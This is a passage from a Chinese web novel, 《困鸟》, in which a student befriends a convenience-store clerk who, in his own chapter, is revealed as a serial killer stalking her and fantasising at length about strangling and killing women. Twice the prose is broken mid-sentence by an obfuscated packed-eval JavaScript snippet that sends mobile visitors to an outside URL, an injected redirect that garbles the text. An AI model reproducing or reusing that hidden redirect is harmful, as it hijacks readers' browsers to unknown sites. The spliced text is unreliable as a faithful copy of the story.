《困鸟》 3. 姜柔 今天的雪下得格外大。 姜柔结束了素描课,一边顶着冷风走出写字楼,一边向同行的好友诉苦:“画画好难,我的透视和光影一团糟,完全不像你那么有天赋。” 陈幼宜走在她旁边笑:“因为我从小就在学啊,等你熬过新手期,也会越来越熟练的。” 两人相识多年,小时候是门对门的邻居,现在都在江城读大学,关系很好。 陈幼宜问:“等会儿你还要去便利店?” “嗯。这种天气,外卖员送餐也麻烦,不如直接去吃点热乎的。” “你上回不是说,和那里的店员认识了?他人怎么样?” 陈幼宜扫她一眼,瞥见姜柔松垮的围巾,停了脚步侧过身来,帮她整理:“围巾又乱了,不怕着凉吗?” “人挺好的。” 姜柔乖乖朝她一笑,仰起下巴,方便对方动作:“他话不多,很耐心——不知道那帮混混还会不会来找他麻烦,真过分。” “不管是混混还是那店员,全都不清楚底细。最近江城很乱,你单独在外面,切记安全是第一位,知道吗?” 陈幼宜和她念的不是同一所大学,系好围巾,捏捏姜柔的脸,柔声叮嘱:“暴雪天,早点回学校。” “知道啦。” 姜柔笑着点头:“你也注意安全。” 和往常无数次一样,她与陈幼宜挥手作别,走入夜色。 风大雪大,从素描班到便利店短短的一段路程,姜柔走得堪称艰难。 一进门,热气撞了满怀,她刚抬头,就和李怀舟四目相对。 对方的工作服熨帖平整,神态静默如雕塑,仿佛整个世界的慌乱,都被便利店结实的门窗隔绝在外。 而她头发乱得像鸟窝,融化的雪水顺着发丝往下淌,狼狈不堪。 自己现在的样子,一定糟糕透了。 姜柔低头,匆匆整理被风吹乱的长发,语速飞快:“外面风太大了……” 头发被雪水凝成几绺,越是梳理,越乱糟糟地翘起。 她苦恼万分。 李怀舟的嗓音从收银台方向传来,不大,但清晰:“天气预报说,近几天降温。” “这鬼天气。” 姜柔小声抱怨:“中午出门的时候,风就邪性得很。我本来想请假,但今天的课很重要……” 时间一分一秒过去,身体逐渐适应室内的温度,她深吸一口气,重新有了血液在血管里流淌的实感。 门外的风如野兽嘶嚎,一声声吹得人心慌,姜柔摸了把通红的鼻子,决定和李怀舟打商量:“我能待在这儿,等风小点再走吗?” 李怀舟没犹豫:“嗯。” 姜柔松了口气:“谢谢。” 她和李怀舟相处的次数屈指可数,哪怕见了面,两人的交流也绝不深入。 连日观察下来,这个独来独往的店员在她眼中愈发神秘古怪。 李怀舟无疑是孤僻的,客观来说,目前的工作很适合他—— 于他而言,独自一人整理货架、看守店面带来的舒适感,远大于社交。 有好几次,姜柔从他身上捕捉到若即若离的抵触,当她以为要被下逐客令,这抹戒备又无声无息消失不见,如同投入深潭的碎石,泛起几圈涟漪后,重回寂静。 而李怀舟会浅浅笑着,示意她继续说下去。 连续上了小半天的素描课,姜柔又累又饿,揉着发僵的手指在热食区徘徊,挑选填饱肚子的晚饭。 冷藏柜的光线映出各色包装,她看得眼花,心血来潮:“你应该知道,这儿什么吃的最受欢迎吧?能推荐一下吗?” “照烧鸡肉饭团,三明治,菠萝包,这三款卖得最多。” “这些都尝过了。” 目光一行行扫过架上的食物,姜柔扭头:“你呢?你最喜欢吃什么?” 这是个突破了店员与顾客身份的问题,撬开无形壁垒,把彼此的距离顷刻拉进。 李怀舟:“我?” 这回他没了平时的从容,像台接触不良的老式收音机,调试片刻才作答:“我吃饱就行,不在意味道。” “那也有偏爱的吧?” 便利店里沉寂了五六秒。 妥协似的,李怀舟坦白相告:“牛肉盖浇饭和炸鸡串。” 姜柔从善如流,买了这两样。 在冬天,被暴雪摧残后,一碗热腾腾的米饭最让人心情愉悦。 牛肉盖浇饭被放进微波炉加热,打开的瞬间咸香四溢,热雾蒸腾,裹住她睫毛。 姜柔坐在桌边咽下一口,米粒裹着肉汁在口中爆开,她由衷感叹:“这个好吃!” 李怀舟没做反应,影子投在玻璃窗上,融进铺天盖地的雪幕里,看不分明。 姜柔咬住勺子,好奇观察。 这人很瘦,眼里没什么光,黑沉沉的。 他的手和整个人一样修长羸瘦,屈指放在收银台上,血管微微凸起。 姜柔记得,第一次和李怀舟搭话的晚上,她曾无意间见过他的手腕,一道伤痕蛰伏在腕骨内侧,像皲裂的树皮。 伤口极长,呈现出陈旧的浅褐,这让姜柔情不自禁去想,它究竟是什么时候、因为什么留下的? “怎么了?” 低沉的声线惊得她一顿,半勺米饭坠回碗中。 李怀舟不知何时支起身,漆黑的眼珠直直望着她。 姜柔凭空滋生了做坏事被抓包的错觉,一眨眼的慌乱后,强装镇定:“今天素描班的作业,是画一双手。” 李怀舟安静听她说。 “我是新手,太复杂的不会画,只能从人体部位逐个练习。” 姜柔颇为泄气:“但还是特别难。” 李怀舟笑了:“所以,你一直在看我的手?” 他问得直白,被戳破的窘迫让姜柔耳尖发烫,只得点头:“你的手,骨相很漂亮。” 被她夸赞,李怀舟反应淡淡,抬起右臂,随意看了看。 一只苍白的手,仔细端视,有好几道细碎的茧和疤。 “不如——” 电光石火,一个念头突兀闪过,姜柔鼓起勇气:“我反正要在这儿待到风停,能不能试试画你的手?” 李怀舟蹙眉:“画我?” “我一直抓不准肌肉走向,画得歪七扭八的。你只需要把手搭在台面,就当……帮我完成课后作业,可以吗?” 她两眼一眨不眨,目光里是不加掩饰的期冀,让人很难拒绝。 这不是个多么困难的请求,李怀舟松了口:“行。” 姜柔如愿以偿,从双肩包里抽出素描本和铅笔,靠近收银台。 李怀舟把手背平放在台上:“这样?” “姿势随意,你放松,不用紧张。” 姜柔笑道:“一次练习而已。” 李怀舟今天没露手腕,袖口规整,严谨地贴合腕骨,遮挡了衣物下狰狞的痕迹。 从姜柔的角度,只看见他修长的手指和略显粗糙的掌心,手掌横亘几道细长痕迹,像被什么东西划破过。 姜柔瞧了会儿,低头起笔:“我刚学素描,画技拙劣,你别抱期待。” 铅笔游走,耳边只剩摩擦纸张的沙沙声响,像春蚕啃食桑叶。正如姜柔所说,因她技艺不精,响声时断时续,难以勾勒流畅的线条。 李怀舟两手搭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850107|175811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在收银台上,做不了别的,索性用闲聊打发时间:“你学了多久?” “两周左右。” 姜柔长叹口气:“我没什么天赋,学了十几天,进度还在原地打转。” “为什么来学素描?” 被姜柔用视线丈量的同时,李怀舟也在看她:“江大不上课?” “大四一整个学期,基本没课。” 她认真解释,下笔微滞,在纸上洇出个浅灰的圆点:“空闲时间太多了,我想学点儿什么。不瞒你说,我从小就对画画感兴趣,可惜艺术之神没眷顾我。” 说出这句自嘲,姜柔没多沮丧,反而笑了下:“我有个朋友天分很高,以前看她随随便便就画好一幅街景速写,我还以为这事非常容易呢——结果自己上手后,连线条都拉不直。” 李怀舟不善于安慰人,只道出一声:“多练练,会好的。” 姜柔扬眉:“借你吉言。” 她心情不错,手下的动作渐渐加快,虽然仍不熟练,但勉强描摹出了李怀舟双手的轮廓。 出于礼貌的边界感,即便心怀好奇,她也没问那些疤痕的由来。 空白的画纸一点点被填充,等最后一笔落下,铅笔已被掌温焐得微热。 姜柔把画反反复复看了好几遍,心满意足举起素描本,献宝般递到李怀舟面前:“看!” 她画技不精湛,胜在一笔一划都很用心。李怀舟望着纸上深浅不均的笔触,似是为难。 有这么差劲吗? 姜柔不自信地蔫下去,还没开口,觑见他唇角蜻蜓点水的弧。 “很好。” 李怀舟轻轻对她说:“也许,你比想象中更有天赋。” 半悬的心脏安稳落下来。 姜柔赧然笑出声,连连摆手:“别别别,我受不住捧杀,会当真的。” 不知不觉,窗外雾气渐薄,呼啸一整天的北风终于倦怠。她看一眼手机时间,惊觉自己在便利店待了整整一个钟头。 姜柔没急着回家,想了想,转身走向货架:“稍等一下。” 来过太多次,她对便利店里的陈列了如指掌,没一会儿便快步回到收银台,手里多出个新的物件。 是一支薄荷绿的护手霜。 李怀舟习以为常地扫码,重复这个做过千百次的动作,毫无征兆听她道:“送你的。” 李怀舟没反应过来:“什么?” “礼物。” 姜柔说:“谢谢你愿意当我的模特。” 他没动。 “拿着吧。” 像第一次送他丸子串那样,姜柔将护手霜推向收银台里侧,附带几颗她常买的牛奶糖:“冬天这么冷,别着凉生冻疮。” 她没给对方拒绝的机会,把围巾裹在脖颈,拎起一旁的双肩包:“我走啦,你明天还是晚班吗?” 见李怀舟颔首,姜柔笑意加深:“明天见。” “——等等。” 一声低唤截住她离去的脚步,姜柔侧头回望。 逆着光,李怀舟的面庞有些模糊:“你带伞了么?” 姜柔摇头。 李怀舟抬臂,举起一把透明雨伞。 他肩线紧绷,看上去不太自在:“店里的备用伞,你可以用它挡风。” 这是……借给她的意思? 姜柔一怔,接过那把伞,笑意从眼角亮晶晶溢出来:“谢谢。” 她迈出大门的步伐比往日更加轻快,伞面撑开漫天雪粒,像一朵绽放的花。 在感应门闭合之前,姜柔回过身提醒:“别忘了用护手霜哦。” 距离太远,隔着夜色,她看不清李怀舟晦暗的脸。 4.李怀舟 与姜柔相识后,李怀舟享受起猫抓老鼠的游戏。 在此前,他对社交往来嗤之以鼻,人与人之间浮于表面的寒暄、虚伪的客套、带有目的性的接近,都让他觉得乏味又吵闹。 姜柔的出现,是个例外。 倒不是李怀舟对她产生了多么温情的亲近感,而是因为,他不再把姜柔看作一个“人”—— 在他眼里,她成为一只鲜活的、充满挑战性的、被他玩于股掌之上的猎物。 有趣多了,不是吗? 这天晚上,姜柔站在收银台边,笨拙描画他的手,铅笔沙沙响个没停,她的眉头时而微蹙,时而舒展,全神贯注。 同一时刻,李怀舟垂下头,几乎克制不住想笑的冲动。 姜柔如此认真地观察着他的一部分,殊不知,她自己正在被李怀舟更仔细地记录,从习惯、喜好到恐惧,无一遗漏。 她更不会想到,这双与她咫尺之隔的手杀过人藏过尸,无数遍沾满过眼泪和鲜血,李怀舟费尽心思才清理干净,确保不被人发现端倪。 姜柔还说,“骨相很漂亮”。 像误闯狼窝的鹿,对即将到来的死亡一无所知,反倒去蹭掠食者的獠牙。 临走时,她送来护手霜和几颗糖果。 护手霜。 姜柔居然在担心他的手会不会冻伤—— 一双将用来结束她生命的手。 李怀舟细细品味这份荒诞的黑色幽默,在她踏入风雪前,递出一把雨伞。 他的本意,不是出于关心。 这是李怀舟放下的饵。 借伞,意味着一个合理的归还理由。 也就是说,姜柔还会再来,主动地、必然地回到他的视野,被他又一次掌控。 李怀舟喜欢俯瞰全局的感觉。 一天匆匆而过,今晚他上的仍是夜班,八点钟左右,姜柔准时迈进便利店大门。 她心情上佳,进门后直冲冲往收银台走,眉间的欣喜一览无余:“昨天的画被老师夸了,说进步很大。” 李怀舟:“恭喜。” 带有浅笑的两个字,是他为这场对话贡献的全部热情。 “要多谢你——对了,还有你的伞。” 姜柔把伞完好归还,顺口问他:“护手霜你用了吗?感觉怎么样?” 护手霜? 李怀舟想起那抹薄荷绿。 他的确在好好地用,慢条斯理、极其仔细,把护手霜涂抹在每一根手指、每一个指节、每一道或新或旧的疤痕上。 这样一来,等他日后掐上姜柔脖子、捂紧她口鼻,说不定,她能闻到熟悉的香气。 这话不可能当面说,李怀舟清楚,怎样才是应有的反应。 让笑意轻微堆起,像腼腆也像感激:“用了,味道很好闻,谢谢你。” 他说着,右手越过收银台,递给姜柔一杯热气腾腾的牛奶。 “给你的。” 李怀舟:“驱寒。” 姜柔满脸不可思议:“给我——?” “嗯,不用钱。” 得了肯定的答复,姜柔这才捧起杯子,受宠若惊道一声谢。 她被冻得手指发红,迫不及待仰头喝下,出乎意料,皱了下眉。 李怀舟:“太甜?” 他记得姜柔常买糖果,特意加了不少白砂糖。 “不是。” 姜柔咽下嘴里的牛奶:“味道很好,我喝太多,被烫到了。” 天真,冲动,毫无防备。 李怀舟维持着不变的面部表情,看她顺着杯沿吹气,等牛奶不再滚烫,咕咚饮下满满一大口。 暖意沿食道进入四肢百骸,姜柔餍足喟叹:“真好。外面冷飕飕的,喝点热的,整个人都像重新活过来了。” 她一边喝,一边闲聊:“昨晚我回学校时又刮了风,像鬼哭狼嚎,多亏有你给的那把伞——要不然,恐怕我也像室友一样,因为高烧不退去医院挂号了。” 姜柔看向他,语气多出关切:“你下班的时候呢?冷吗?” “还好。” 李怀舟道:“我早上才下班,比夜里暖和些。” 两人言尽于此,姜柔饿着肚子饥肠辘辘,喝完牛奶,去了熟食区。 李怀舟闷不做声,等她完全背过身,才放任视线掠过那段纤细的颈项。 像雪地里即将折断的芦苇杆。 忽地,店门大开,伴随一道熟悉的跋扈男音:“喂,给老子拿最贵的烟。” 是那群常来寻衅惹事的混混。 李怀舟面色骤沉。 “老子和你说话,没听到?” 带头的黄毛嘴里叼了根烟,不耐烦地猛踢一脚,把货架踹出刺耳锐响。 李怀舟闻到弥漫在空气里的酒味。 这是个不祥的预兆,醉酒后的人暴躁易怒,很有可能丧失理智。 他不想惹上没必要的麻烦,招来警察。 黄毛身旁的寸头小弟比他多了自知之明,一把拉住黄毛袖口:“哥,你别激动。我知道你今天心情不好,咱消消气,回家再说。” 不料黄毛脸色更差,拔高嗓门:“消气?我消什么气?我没醉!” 小弟尴尬赔笑:“是是是,你没醉,清醒得很。” “还有你。” 黄毛瞥向李怀舟:“老子要的烟呢?” 面对他们,李怀舟连装模作样也不屑,拿出一包烟:“请扫码付款。” 也许是被他的淡漠所激怒,又或是积怨已久突然爆发,醉醺醺的黄毛用了半晌来理解李怀舟的意思,沉默过后,像一座爆发的火山:“拽什么拽?” 他的怒火来得猝不及防,竟疾步冲向收银台,咬牙切齿去拽李怀舟衣领,布满血丝的眼睛快要瞪出眼眶:“每回都是这副要死不活的德行……你是不是也看不起老子?” 小弟们被吓了一跳,慌慌张张试图劝解。 李怀舟面不改色,刚要去扣黄毛手腕,余光里,一道白光闪过。 ——是姜柔。 她高举的手机正在录像,镜头精准框住黄毛扭曲的面孔。 “派出所离这儿不远。” 姜柔声线紧绷,有如拉满的弓弦,李怀舟捕捉到她的战栗:“你们闹事的话,我就报警了。” 仔细去看,她的身体也在发颤。 李怀舟的思维短暂卡了顿。 从这几天的接触里,他把姜柔的性格摸透了七八分。 友善,无害,轻信外人,一个在温室里长大、没被恶意侵蚀过的女人。 毋庸置疑,面对醉鬼闹事,她心中的恐惧远甚于正义感。 在怕到发抖的状态下,姜柔选择上前一步帮李怀舟解围。 这让他有了种说不清道不明的古怪情绪,异样的滞涩感卡在胸腔,上不去也下不来。 气氛剑拔弩张,黄毛被姜柔一句话惹恼,额头暴起青筋:“臭娘们,多管闲事!” 小弟们死死箍住他胳膊,拼命往回拉:“哥,冷静,这女的在录像!” 喝醉的街头混混像只发疯的狼,姜柔被他吼得后退两步,脸色煞白。 她吓了个够呛,为了显得更有气势,努力挺直脊背:“你们以后别来找麻烦。有这个视频在,我随时可以叫警察来。” 有个小弟骂了声脏话。 他们没醉,分得清什么该做什么不该做,对姜柔再不满,也只能吞下哑巴亏,好声好气地劝黄毛:“哥,你喝多了,我们先回去。什么?要烟?行行行——” 小弟瞪了眼李怀舟:“结账!这包烟多少钱?” 李怀舟如实报价。 黄毛骂骂咧咧,被几个小弟强行搀扶离开。 没了争执怒骂的声响,店内归于沉寂,只余几缕暴戾的酒气。 姜柔总算卸下强装的从容,心有余悸靠向一边,后背抵在距离最近的金属货柜。 “吓死我了……” 她拍拍胸口,脸上是劫后余生的庆幸和疲惫:“你还好吗?” 李怀舟神色莫名,答非所问:“你不该管这件事。” “为什么不该?” 姜柔不假思索:“录一个视频就可以解决,我总不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15854216|175811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能装没看见吧?” 她语调平常,仿佛为了他与混混对峙,只是理所当然的一件事。 李怀舟避开她的注视,没再多言。 结束了这个突如其来的插曲,之后的一切,与往常无异。 姜柔买好熟食,在便利店吃完,离开前宽慰他几句,又认真叮嘱:“视频我先存着,他们如果再来,就去报警——你一个人不习惯的话,我可以陪你,行吗?” 李怀舟腼腆笑笑:“好,谢谢。” 与之前不同的是,收款结账后,他把几片暖宝宝塞进姜柔掌心:“保暖用,这几天降温。” 作为感谢,也是示好。 姜柔两眼弯弯地道谢,笑着说了“再见”,李怀舟遥望她走远,影子孤零零钉在原地。 他始终在想,姜柔为什么要帮他? 独来独往惯了,当姜柔主动站出来的那刻,李怀舟第一反应是意外、警觉,和因局势超出掌控的错愕。 随即而来的,是一股陌生情绪,不浓烈也不鲜明,像被羽毛搔过,黏腻的痒意让他颈后寒毛根根竖起。 起初,李怀舟无法分辨它所代表的含义,这时一个人默默思考,他终于想通。 那种感觉是恶心。 姜柔在想什么?目睹他被混混闹事的全过程,她是不是同情他、看不起他、觉得他需要她的“拯救”? 她表面关怀体贴,心里一定认为,他是个不敢反抗的软骨头,对不对? 要不是因为会被警方盯上,他早就把刀捅进那帮混混的心脏里了。 李怀舟抿紧唇,右手探进外套口袋,触碰到冰凉的玉质珠串。 受害者们的遗物,被他像战利品一样随身携带。 指腹拂过一个个圆珠,李怀舟细致感受着,分辨出凝固在玉上的斑驳血痕。 他想起姜柔微笑时熠熠发亮的双眼,想起她低头时温静的侧脸,也想起她与混混对峙,为了不显得矮人一头,冷着脸把下颌抬高。 那么纯净,那么无畏,那么明亮。 ——但凭什么? 凭什么痛苦不曾降临在她身上?凭什么她生活得富足无忧?凭什么,她可以居高临下地可怜他? 幸福活着的姜柔,把他衬托得像只阴沟里的老鼠。 他就该剖开那具温热的皮囊,看看被刀尖抵上咽喉,她还能不能向他投来怜悯的目光。 熟悉的兴奋感在体内叫嚣,是残虐和杀戮的欲望。 李怀舟轻舔干涩的下唇,点开手机日历。 距离他上次犯案,已过去很多天。 经由这段日子的交谈,他知晓了姜柔的生活轨迹,每天江大、素描班和便利店三点一线,难以找到对她动手的时机。 唯一的方式,是先和姜柔拉近关系,再邀约她前往某个人迹罕至的地点。 这需要耗费点儿时间,好在对于全新的、趣味横生的杀人游戏,李怀舟有足够的耐心。 更何况,在逐渐接近她、一步步引她进入陷阱的日子里…… 感应门忽然打开,三个年轻女孩叽叽喳喳走进店内,青春洋溢,笑声清脆,好似林间偶然飞落的鸟群。 李怀舟的目光悄无声息。 第一个,个子瘦弱,戴了圆框眼镜,声线小而细。 像只麻雀,翅膀短小,羽毛蓬松,好处是骨骼轻巧,处理起来干净利落。 第二个,身材高挑,长发及腰,眼底有不易察觉的倨傲。 天鹅。 李怀舟在心里做出判断,姿态优雅,脖颈修长,最适合被拧断脆弱的颈骨。 第三个,卷发扎成丸子头,最活泼,笑声最大。 犹如聒噪的、色彩斑斓的虎皮鹦鹉,精力旺盛,喋喋不休,该怎样让她的嘴永远闭上?用胶带?用绳索?或者更直接一点,割破喉咙? 李怀舟收回视线,唇角翘起几不可见的弧。 等待姜柔上钩的间隙,去杀几个别的女人解解闷吧。 很快,就轮到他值白班,能在夜里寻找新的猎物了。 这一次,被他锁进地下室的,会是谁呢?